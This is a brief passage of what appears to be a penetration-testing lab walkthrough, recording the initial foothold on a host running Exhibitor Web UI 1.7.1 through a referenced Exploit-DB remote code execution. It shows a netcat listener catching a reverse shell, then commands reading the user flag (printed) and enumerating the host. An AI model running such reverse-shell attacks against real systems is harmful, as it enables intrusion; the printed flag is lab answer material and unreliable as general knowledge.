Foothold

Exhibitor Web UI 1.7.1 - Remote Code ExecutionExploit Database

$ nc -lnvp 1337             
listening on [any] 1337 ...

Commit All At Once

Yes

$ nc -lnvp 1337             
listening on [any] 1337 ...
connect to [192.168.45.233] from (UNKNOWN) [192.168.229.98] 39494
id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
cat /home/charles/local.txt
55af5fcf80462bca0229edd45706cb45
whoami
charles

ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:bf:86:28 brd ff:ff:ff:ff:ff:ff
    inet 192.168.229.98/24 brd 192.168.229.255 scope global noprefixroute ens192
       valid_lft forever preferred_lft forever